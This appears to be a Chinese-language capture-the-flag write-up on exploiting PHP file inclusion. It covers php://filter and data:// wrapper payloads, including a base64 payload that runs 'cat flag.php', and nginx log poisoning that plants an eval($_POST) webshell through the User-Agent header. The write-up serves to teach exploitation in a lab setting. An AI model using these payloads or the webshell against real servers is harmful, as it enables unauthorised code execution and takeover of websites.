首页 > 其他分享 >文件包含第一天

文件包含第一天

时间:2023-05-24 16:48:27浏览次数:29  
标签:文件 第一天 包含 nginx file 日志 php log

目录

普通文件包含

常见的php伪协议大致四种

1.php://filter  主要用于读取源码
2.php://input  经常使用file_get_contents获取php://input内容
3.data://  执行命令
4.file://  访问本地文件系统

78

image-20230511171107815

观察一下,没有过滤,可以直接使用功能php://filter伪协议

payload:?file=php://filter/read=convert.base64-encode/resource=flag.php

主要是别忘了convert,用于转换编码用的,缺少会报错

也可以用data伪协议

?file=data://text/plain,

?file=data://text/plain,

然后查看源码

也可以尝试php://input

image-20230511172709456

image-20230511172739427

79

image-20230511192556368

将php替换为了??? 因此不能明文读取

payload: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=

其中

PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
为base64编码的
<?php system('cat flag.php'); ?>

好像大小写也能绕过,但有点chun。

传入shell(一句话木马)

多少有点骚气在里面的

?file=data://text/plain,

post 1=phpinfo();

80

知识点:日志文件包含,伪造UA写入php代码

日志文件包含

日志文件记录了服务器收到的每一次请求的

IP、访问时间、URL、User-Agent,这4项中的前两项的值都是我们无法控制的,我们只能在自己可以控制的字段上做手脚,其中URL字段由于URL编码的存在,空格等一些符号会自动进行url编码,存到日志当中时,不是一个正确的php语句,无法成功执行,而User-Agent则不会被进行任何二次处理,我们发什么内容,服务器就将其原封不动的写入日志。

访问日志的位置和文件名在不同的系统上会有所差异

apache一般是/var/log/apache/access.log

apache2一般是/var/log/apache2/access.log

nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log

php和data都被禁用了(大小写好像还能用)

日志文件包含

nginx和apache的日志文件包含也是一个考点

这个Linux的nginx日志文件路径是/var/log/nginx/access.log,要在用文件包含漏洞读取日志文件的同时,修改ua头为我们想要执行的命令(burp中go要点两次才能执行命令,第一次将代码写入日志,第二次执行代码

且操作一定不能出问题,如果报错就要销毁容器从头再来

因为php语法错误后不再解释执行后面代码,语法错误后,后面不管语法对不对都不执行了。我们包含了日志文件,如果日志文件中我们插入了错误的php代码,那么我们再次执行对的代码时会先执行那个错误的php代码,因为报错,所以后面正确的就不会执行了。

include加载的文件都会当做PHP进行解析。如果文件中有PHP代码,就会执行PHP代码。不是PHP代码的部分就会直接输出。

Nginx的日志文件是/var/log/nginx/access.log,对服务器的请求都会记录到日志文件中去,所以构造一个有马的请求(<?php eval($_POST[1]);?>),再用file包含日志文件。所以就可以执行拿到shell了。

先添加user-agetn:

执行 url?file=/var/log/nginx/access.log&5=phpinfo();

image-20230511200336042

总体思路相当于,将这个useragent插入到了主机中的日志文件中,因此访问日志文件的时候携带1的参数,则将include包含日志的时候执行了eval(1)这个命令,导致其发生了可以读写,用蚁剑连接也可也

标签:文件,第一天,包含,nginx,file,日志,php,log
From: https://www.cnblogs.com/vaneshadow/p/17428787.html

相关文章

  • php特性第一天
    目录899091929394959697989989preg_match()返回pattern的匹配次数。它的值将是0次(不匹配)或1次,因为preg_match()在第一次匹配后将会停止搜索。preg_match_all()不同于此,它会一直搜索subject直到到达结尾。如果发生错误preg_match()返回FALSE。get方式传入num参数,然后通......
  • upload靶场总结1-11客户端验证和文件后缀验证
    第一关JS校验利用文件上传js前端的后缀名检测来进行检测后端并没有对文件进行检验上传文件方法1.关闭前端的js2.burp抓包先上传允许上传的文件,然后抓包后修改上传文件的后缀3、将网站源码复制下来,放到本地,然后将js代码删除。先查看网页源代码然后复制粘贴到本地文本文......
  • Java大文件分片上传/多线程上传
    ​ javaweb上传文件上传文件的jsp中的部分上传文件同样可以使用form表单向后端发请求,也可以使用ajax向后端发请求    1.通过form表单向后端发送请求         <formid="postForm"action="${pageContext.request.contextPath}/UploadServlet"method="post"e......
  • 文件相关操作
    文件的基本操作文件的基本操作分为三步骤:1.打开文件2.操作文件  3.关闭文件1.打开文件关键字:openf=open(r'a.txt','r',encoding='utf8')#f=open(r'a.txt','r',encoding='utf-8')pri......
  • Python文件读写、StringIO和BytesIO
    StringIO和BytesIO很多时候,数据读写不一定是文件,也可以在内存中读写。StringIO就是在内存中读写str。要把str写入StringIO,我们需要先创建一个StringIO,然后,像文件一样写入即可:>>>fromioimportStringIO>>>f=StringIO()>>>f.write('hello')5>>>f.write('')......
  • 用命令行工具运行java文件
     1、若java文件有packagepackagequitStu;publicclassMain{publicstaticvoidmain(String[]args){for(Stringstr:args){if(str.equals("11")){System.out.println("-v1.0");brea......
  • 单文件组件开发文档
    在大多数启用了构建工具的Vue项目中,我们可以使用一种类似HTML格式的文件来书写Vue组件,它被称为单文件组件(也被称为*.vue文件,英文Single-FileComponents,缩写为SFC)。顾名思义,Vue的单文件组件会将一个组件的逻辑(JavaScript),模板(HTML)和样式(CSS)封装在同一个文......
  • Python自动化办公对每个子文件夹的Excel表加个表头(Excel不同名且有xls文件)
    大家好,我是皮皮。一、前言上一篇文章,我们抛出了一个问题,这篇文章来进行解答。如果针对子文件夹下不同的Excel表名,而且Excel表格类型包括了.xls和.xlsx应该如何处理?要求一步到位。二、实现过程其实这里依靠【ChatGPT】给的答案,只需要修改其中一行代码就可以搞定了,如下所示:imp......
  • k8s中 fpm 和 nginx 的文件共享问题
    目录引言docker镜像构建哲学为什么一定要共享文件代码的迭代更新问题引言初看这是一个值得记录的问题吗?或者说这算是一个问题吗?各种数据卷挂载,然后一顿操作不就完成了么?我也是这么认为的。看人讨论fpm与nginx的文件共享问题。想到自己当初也遇到了类似的困惑,记得当......
  • 直播app开发,基于van-uploader封装的文件上传图片压缩组件
    直播app开发,基于van-uploader封装的文件上传图片压缩组件1、调用<template>  <div>    <compress-uploaderv-model="fileList":compressSwitch="true":quality="0.5":maxCount="3"/>  </div></template> <......